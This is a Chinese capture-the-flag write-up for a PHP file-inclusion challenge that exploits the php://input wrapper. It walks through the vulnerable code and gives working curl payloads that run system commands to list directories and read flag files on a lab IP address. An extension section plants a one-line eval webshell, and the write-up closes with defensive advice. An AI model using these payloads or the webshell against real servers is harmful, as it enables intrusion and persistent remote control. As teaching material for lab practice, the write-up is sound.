一、题目背景与代码分析

1.1 题目场景

这是一道典型的PHP 本地文件包含(LFI)漏洞题,核心考点为 php://input 伪协议的利用。题目限制了只能使用以 php://input 开头的参数,需要通过 POST 请求体传入恶意 PHP 代码,实现命令执行与 flag 读取。

1.2 核心代码审计

php

运行

<?php
highlight_file(__FILE__);

// 判断字符串str是否以start开头
function startsWith($str, $start)
{
    $len = strlen($start);
    return (substr($str, 0, $len) === $start);
}

if (isset($_GET['file'])) {
    $file = $_GET['file'];
    if (startsWith($file, 'php://input')) {
        include $file;
    }
}
?>
  • 代码通过 $_GET['file'] 接收用户输入,仅允许以 php://input 开头的参数,直接传入 include() 函数。
  • include() 会解析并执行 php://input 伪协议读取的 POST 请求体内容,因此可以通过 POST 请求体传入 PHP 代码实现命令执行。
  • 该场景下,常规的 php://filter 读取文件、phar:// 反序列化等方法被过滤,只能通过 php://input 伪协议突破。

二、漏洞原理:php://input 伪协议

php://input 是 PHP 提供的一个伪协议,用于读取原始 POST 请求体数据。当 include() 函数包含 php://input 时,会将 POST 请求体的内容作为 PHP 代码解析执行,从而实现任意 PHP 代码执行,这也是这道题的核心考点。

使用前提:

  • PHP 配置中 allow_url_include = On(靶场默认开启)
  • 仅支持 POST 请求方式,GET 请求无法传递请求体数据

三、完整解题步骤

步骤 1:构造基础 Payload

直接使用 curl 命令发送 POST 请求,通过 php://input 伪协议执行 PHP 命令,读取服务器文件。

Payload 1:列出根目录文件并读取 flag 文件

bash

运行

curl -X POST -d "<?php system('ls /'); echo PHP_EOL; echo '--- flag content ---'; echo PHP_EOL; system('cat /flag*.txt');?>" "http://180.76.235.121:34629/?file=php://input"
  • -X POST:指定请求方式为 POST
  • -d "<?php ... ?>":POST 请求体,写入 PHP 代码,通过 system() 执行系统命令
  • ?file=php://input:触发文件包含漏洞,读取并解析请求体中的 PHP 代码

Payload 2:直接读取当前目录 flag.php 文件

bash

运行

curl -X POST -d "<?php system('ls ./'); echo PHP_EOL; echo '--- flag.php ---'; echo PHP_EOL; system('cat ./flag.php');?>" "http://180.76.235.121:34629/?file=php://input"

Payload 3:极简命令执行(直接读取根目录 flag)

bash

运行

curl -X POST -d "<?php echo file_get_contents('/flag');?>" "http://180.76.235.121:34629/?file=php://input"

步骤 2:执行 Payload 获取 flag

在终端执行上述任意 Payload 后,服务器会返回执行结果:

  1. 首先会列出根目录或当前目录下的文件,确认 flag 文件路径(如 /flag/flag.txt./flag.php
  2. 随后输出 flag 文件的内容,即可拿到题目 flag

四、关键问题与避坑指南

4.1 常见问题 1:请求后无任何输出

  • 排查是否使用了 POST 请求,GET 请求无法触发 php://input 伪协议
  • 确认 allow_url_include 是否为 On(CTF 靶场通常已开启,若本地复现需修改 php.ini
  • 检查请求体中的 PHP 代码是否正确,无语法错误

4.2 常见问题 2:无法读取 flag 文件

  • 尝试不同的文件路径:/flag/flag.txt/var/www/html/flag.php./flag.php
  • 使用 ls / 命令先列出根目录文件,确认 flag 文件的真实路径

4.3 安全防护建议

  • 禁止用户可控参数直接传入 include()require() 等文件包含函数
  • 对文件包含参数进行严格的白名单校验,仅允许指定的文件路径
  • 关闭 allow_url_include 配置,禁止通过伪协议远程包含文件

五、拓展:php://input 伪协议的其他利用场景

  1. 无回显命令执行:结合 system()exec() 执行系统命令,配合 pingcurl 等命令实现带外数据传输
  2. 写入 Webshell:通过 POST 请求体写入文件,例如:

    bash

    运行

    curl -X POST -d "<?php file_put_contents('shell.php', '<?php @eval(\$_POST[\"cmd\"]);?>');?>" "http://180.76.235.121:34629/?file=php://input"
    
    执行后会在服务器生成一句话木马,可通过蚁剑连接获取 webshell 权限

六、总结

这道题是一道非常经典的 php://input 伪协议文件包含题,通过限制仅允许 php://input 开头的参数,引导选手利用伪协议执行 POST 请求体中的 PHP 代码。解题的核心思路是:

  1. 识别文件包含漏洞的过滤规则,确认仅能使用 php://input 伪协议
  2. 构造 POST 请求体,传入 PHP 命令执行代码
  3. 执行命令读取服务器上的 flag 文件
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐